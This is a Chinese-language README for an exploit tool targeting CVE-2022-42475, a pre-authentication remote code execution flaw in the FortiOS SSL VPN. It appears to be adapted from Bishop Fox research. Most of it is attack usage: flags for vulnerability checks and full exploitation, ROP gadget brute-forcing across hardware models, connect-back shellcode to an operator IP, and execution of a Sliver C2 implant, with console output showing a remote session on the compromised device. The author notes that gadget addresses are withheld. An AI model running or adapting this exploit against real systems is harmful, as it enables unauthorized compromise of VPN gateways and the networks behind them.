CVE-2022-42475 的漏洞利用程序,针对 FortiOS SSL VPN 中的预认证远程代码执行(RCE)漏洞。支持漏洞验证、良性验证,以及通过回连 Shellcode 和加密二进制 Stager 实现远程访问的完整利用。
本文对应博客文章漏洞利用部分的解说,原文链接:https://bishopfox.com/blog/exploit-cve-2022-42475
此版本漏洞利用代码在缺乏攻击者自行提供ROP Gadget等所需内存地址的情况下无法正常工作。确定这些数据的工作是Bishop Fox的机密和专有信息,我不会(也不能)将其与漏洞利用代码一同发布。相信您能理解!
execve(binary_file)。注意:目前“仅验证”模式适用于所有已知版本的FortiOS。但漏洞利用功能 仅 针对FortiOS 6.0.4及100D硬件平台有效。我已不在BF工作,因此无法发布支持约18000个目标的扩展版本。
pip3 install PyCrypto
pip3 install pycryptodome
该模式不会尝试利用漏洞,而是触发其导致崩溃(远程SSL VPN守护进程会自动立即重启)。崩溃的检测采用启发式方法,并向操作者报告。
使用 -v 验证标志运行:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 运行于仅验证模式,无RCE。
[>] 正在测试目标是否存在漏洞(可能需要10秒)
[+] 目标 '192.168.0.10:8443' 似乎存在漏洞
此模式将触发漏洞,部署ROP链,并跳转至shellcode。Shellcode为良性,运行过程如下:
0xbf/tmp/x0xbf 字节给漏洞利用端标志:
-t 目标主机/IP
-p 目标端口
-e 漏洞利用模式
-c 仅回连模式
-H 和 -P 操作者的IP:端口(必需)
-s FortiOS软件版本(必需)
-m 运行FortiOS的硬件型号
-d 开启调试信息
以下示例中,我们选定软件版本 6.0.4 及设备型号 100D:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 生成随机128位AES密钥用于加密payload
[+] 正在加密payload...
[+] 使用缓存的shellcode。编辑 ./x.py(查找 'shellcode.s')以强制刷新。
[+] 配置为回连至 192.168.0.99:443
[+] 启动加密payload监听器...
[+] 准备漏洞利用...
[+] 发送请求!
[+] 从 'exploit_data.json' 导入gadget
[<] 监听器绑定至端口443,等待回连...
[+] 验证gadget...
[!] 未为FortiOS '5.2.14' 定义有效硬件型号,已移除。
[!] 未为FortiOS '5.6.9' 定义有效硬件型号,已移除。
[+] 导入797个目标:
[-] 6.0.4 [ 1个目标 ] <=== 100D
[-] 5.2.14 [ 47个目标 ]
[-] 5.6.9 [ 60个目标 ]
[-] 6.0.13 [ 68个目标 ]
[-] 6.0.14 [ 67个目标 ]
[-] 6.0.15 [ 58个目标 ]
[-] 6.0.8 [ 67个目标 ]
[-] 6.2.11 [ 69个目标 ]
[-] 6.2.7 [ 75个目标 ]
[-] 6.4.10 [ 71个目标 ]
[-] 6.4.2 [ 62个目标 ]
[-] 6.4.3 [ 61个目标 ]
[-] 6.4.6 [ 73个目标 ]
[-] 6.4.9 [ 72个目标 ]
[-] 7.0.4 [ 53个目标 ]
[+] 开始漏洞利用
[<] 收到来自 192.168.0.10:22470 的入站请求
[<] 收到来自目标的握手包!!型号:100D
[<] 发送36字节的加密payload
[<] payload发送完毕(36字节),等待响应...
[<] 收到来自 192.168.0.10 的预期响应('100D')
[<] 目标存在漏洞,置信度100%。
[+] 全部完成!
若省略 -m 以选择硬件型号,漏洞利用将针对指定软件版本的所有硬件目标进行暴力破解。
0xbf/tmp/x0xbf字节execve("/tmp/x")标志:
-t 目标主机/IP
-p 目标端口
-e 漏洞利用模式
-f filename 要execve的目标上二进制文件的路径
-H 和 -P 操作者的IP:端口用于回连(必需)
-s FortiOS软件版本(必需)
-m 运行FortiOS的硬件型号
-d 开启调试信息
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
漏洞利用端:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] 漏洞利用将尝试在目标上 execve("implant5")
...
[<] 目标存在漏洞,置信度100%。
[+] 全部完成。
回到Sliver:
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID: <err>
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin <dir> Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data <dir> Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev <dir> Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib <dir> Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin <dir> Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc <dir> Tue Jan 31 05:23:13 +0000 2023
drwx------ root <dir> Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating <dir> Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys <dir> Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp <dir> Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr <dir> Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var <dir> Tue Jan 31 05:24:07 +0000 2023
注意Sliver返回 <err>,因为FortiOS虽然大体上类似Linux,但并非总是按预期工作。这是FortiOS的问题,与Sliver无关。
我已不在Bishop Fox工作,因此您需要关注BF的GitHub以获取此漏洞利用的后续更新。